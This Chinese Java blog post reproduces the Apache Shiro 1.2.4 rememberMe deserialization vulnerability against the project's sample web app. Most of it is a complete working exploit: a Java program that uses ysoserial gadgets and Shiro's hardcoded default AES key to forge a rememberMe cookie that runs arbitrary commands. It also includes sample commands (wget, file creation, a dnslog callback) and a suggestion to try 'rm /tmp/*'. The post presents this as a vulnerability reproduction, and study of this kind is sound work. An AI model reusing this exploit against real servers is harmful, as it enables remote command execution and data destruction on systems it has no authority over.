记录Java开发中的问题,一起成长!
漏洞是有了,那么这个漏洞到底有多严重呢?我们来复现一下这个问题。
需要用到的工具:
ysoserial源码或jar包
shiro-root源码(主要使用里面的samples-web子项目)可以从官网下载,不过这里直接提供一个编译好的压缩包
如果使用的是我们提供的编译好的压缩包下面的信息可以不看了:
shiro-root项目如果下载源码编译可能会出现如下错误:
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:
1.1:toolchain (default) on project shiro-samples: Cannot find matching toolchain
definitions for the following toolchain types:
[ERROR] jdk [ vendor='sun' version='1.6' ]
[ERROR] Please make sure you define the required toolchains in your ~/.m2/toolchains.xml file.
这是因为shiro-root-1.2.4.pom中使用了maven-toolchains-plugin,而maven中没有配置toolchain导致无法编译(toolchain可以指定编译时使用的jdk版本),见shiro-root-1.2.4.pom中的maven-toolchains-plugin:
org.apache.maven.plugins
maven-toolchains-plugin
1.1
1.6
sun
toolchain
这里定义了1.6版本的JDK的目录,当然,你也可以定义多个toolchain。
ok,大功告成!
如果需要了解更多关于toolchain的信息,可以看这里:
http://maven.apache.org/guides/mini/guide-using-toolchains.html
2、Maven打包web项目报错:webxml attribute is required (or pre-existing WEB-INF/web.xml if executing in update)
第一种、在pom.xml文件中定义一个参数配置
false
第二种、更新maven-war-plugin的版本
maven-war-plugin
3.0.0
第三种、在webapp目录下创建WEB-INF/web.xml
mvn package -Dmaven.test.skip=true
3、运行时还可能报错:
The
absolute uri: [http://java.sun.com/jsp/jstl/core] cannot be resolved in
either web.xml or the jar files deployed with this application
将jstl的版本改为为1.2
并引入collections4准备验证错误
org.apache.commons
commons-collections4
4.0
3、访问
经过上面的步骤应该就可以部署成功了。部署成功后访问页面。
项目已经有了,在项目的lib目录中放入commons-collections4-4.0.jar的jar包(有漏洞的jar包都可以,此处以commons-collections4-4.0.jar为例)。
编写java程序(需要依赖于ysoserial):
注意:CommonsCollections2针对的是commons-collections4-4.0的漏洞,如果是commons-collections:3.1使用CommonsCollections1,具体可以查看ysoserial.payloads的源码
package ysoserial;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.CommonsCollections2;
import ysoserial.payloads.ObjectPayload;
public class ShiroPOC {
private static final byte[] keyBytes = Base64.decodeBase64("kPH+bIxk5D2deZiIxcaaaA==");
public static void main(String[] args) {
if (args.length != 2) {
System.out.println("usage: java -jar shiroPoc.jar command pocPath");
}
// wget http://www.baidu.com
// touch /tmp/kevintest.txt
// exec calc
// CommonsCollections2针对的是commons-collections4-4.0的漏洞,如果是commons-collections:3.1使用CommonsCollections1,具体可以查看ysoserial.payloads的源码
ShiroPOC.run(CommonsCollections2.class, "wget http://www.baidu.com", "d:/tttttt.txt");
//
// http://www.dnslog.cn/getdomain.php 获取域名
// http://www.dnslog.cn/getrecords.php 获取访问记录
// ShiroPOC.run(URLDNS.class, "http://eoaw7y.dnslog.cn", "d:/tttttt1.txt"); //注意里面的域名需要重新获取可能已经过期
}
@SuppressWarnings({ "rawtypes" })
public static void run(Class extends ObjectPayload> ObjectPayloadClz, String cmd, String filePath) {
// 3个参数1类 2执行命令 3文件路径
System.out.println("======================================================================");
try {
// String className = ObjectPayloadClz.getName();
// Class extends ObjectPayload> payloadClass = (Class extends ObjectPayload>) Class.forName(className);
ObjectPayload payload = (ObjectPayload) ObjectPayloadClz.newInstance();
Object object = payload.getObject(cmd);
byte[] objectBytes = toByteArray(object);
byte[] objectEncriptBytes = aesEncrypt(objectBytes);
System.out.println("加密后:" + objectEncriptBytes.length);
System.out.println("");
String strHex = parseByte2HexStr(objectEncriptBytes);
System.out.println("转十六进制后:" + strHex);
System.out.println("");
byte[] hexTobyte = parseHexStr2Byte(strHex);
System.out.println("转二进制后:" + hexTobyte);
System.out.println(hexTobyte.length);
System.out.println("");
byte[] descBytes = AES_CBC_Decrypt(hexTobyte);
System.out.println("解密后:" + new String(descBytes));
System.out.println("");
byte[] byteMerger = byteMerger(getIV(), hexTobyte);
System.out.println(new String(byteMerger));
System.out.println("");
System.out.println("byteMerger length: " + byteMerger.length);
System.out.println("");
byte[] base64ByteMerger = Base64.encodeBase64(byteMerger);
String base64MergerStr = new String(base64ByteMerger).replaceAll("\r|\n", "");
System.out.println("rememberMe=" + base64MergerStr);
System.out.println("");
createFile(filePath, base64MergerStr);
byte[] descriptByte = Base64.decodeBase64(base64MergerStr);
byte[] objectByte = new byte[descriptByte.length - 16];
System.arraycopy(descriptByte, 16, objectByte, 0, descriptByte.length - 16);
byte[] decriptObj = AES_CBC_Decrypt(objectByte);
System.out.println(new String(decriptObj));
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 将16进制转换为二进制
*
* @param hexStr
* @return
*/
public static byte[] parseHexStr2Byte(String hexStr) {
if (hexStr.length() < 1)
return null;
byte[] result = new byte[hexStr.length() / 2];
for (int i = 0; i < hexStr.length() / 2; i++) {
int high = Integer.parseInt(hexStr.substring(i * 2, i * 2 + 1), 16);
int low = Integer.parseInt(hexStr.substring(i * 2 + 1, i * 2 + 2), 16);
result[i] = (byte) (high * 16 + low);
}
return result;
}
/**
* 将二进制转换成16进制
*
* @param buf
* @return
*/
public static String parseByte2HexStr(byte buf[]) {
StringBuffer sb = new StringBuffer();
for (int i = 0; i < buf.length; i++) {
String hex = Integer.toHexString(buf[i] & 0xFF);
if (hex.length() == 1) {
hex = '0' + hex;
}
sb.append(hex.toUpperCase());
}
return sb.toString();
}
/**
* 使用AES 算法 加密,默认模式 AES/CBC/PKCS5Padding
*/
public static byte[] aesEncrypt(byte[] str) throws Exception {
Key keySpec = new SecretKeySpec(keyBytes, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(getIV());
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
/**
* 初始化,此方法可以采用三种方式,按服务器要求来添加。(1)无第三个参数 (2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)
* (3)采用此代码中的IVParameterSpec
*/
byte[] b = cipher.doFinal(str);
return b;
}
public static byte[] AES_CBC_Decrypt(byte[] content) {
byte[] ret = null;
try {
IvParameterSpec ivSpec = new IvParameterSpec(getIV());
Key key = new SecretKeySpec(keyBytes, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
ret = cipher.doFinal(content);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return ret;
}
public static byte[] getIV() {
String iv = "1234567812345678"; // IV length: must be 16 bytes long
return iv.getBytes();
}
public static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
byte[] byte_3 = new byte[byte_1.length + byte_2.length];
System.out.println("arry1长度:" + byte_1.length + "arry1长度:" + byte_2.length);
System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
return byte_3;
}
/**
* 创建文件
*
* @Title createFile
* @author 吕凯
* @date 2020年5月28日 上午10:26:53
* @param path
* 文件路径
* @param str
* 文件内容
* @throws IOException
* void
*/
public static void createFile(String path, String str) throws IOException {
FileWriter fos = new FileWriter(path);
fos.write(str);
fos.flush();
fos.close();
}
public static void createFile(String path, byte[] str) throws IOException {
FileOutputStream fos = new FileOutputStream(path);
fos.write(str);
fos.flush();
fos.close();
}
/**
* 对象转数组
*
* @param obj
* @return
*/
public static byte[] toByteArray(Object obj) {
byte[] bytes = null;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
oos.flush();
bytes = bos.toByteArray();
oos.close();
bos.close();
} catch (IOException ex) {
ex.printStackTrace();
}
return bytes;
}
}
借助于http工具如Fiddler,在cookie中添加将rememberMe=上面生成的字符串,发起请求,到服务器上验证即可。
如执行的命令为touch /tmp/kevintest.txt
则到服务器的tmp目录下可用看到多了kevintest.txt文件。可以将命令再改成rm /tmp/kevintest.txt看看,该文件被删除了,那么设想一下如果讲命令改成rm /tmp/*设置更危险的命令会有什么后果?
如果上面的例子还不够明显,可以多试几个脚本,看看在服务器上的运行情况。基本上项目运行用户能支持的命令,都可以通过这个rememberMe注入执行。那么这个漏洞有多严重就不言而喻了吧。
那么这个漏洞到底是怎么造成的以及怎样解决,我们将在后续的文章中继续进行分析。
专注Java技术,我们一起学习一起进步吧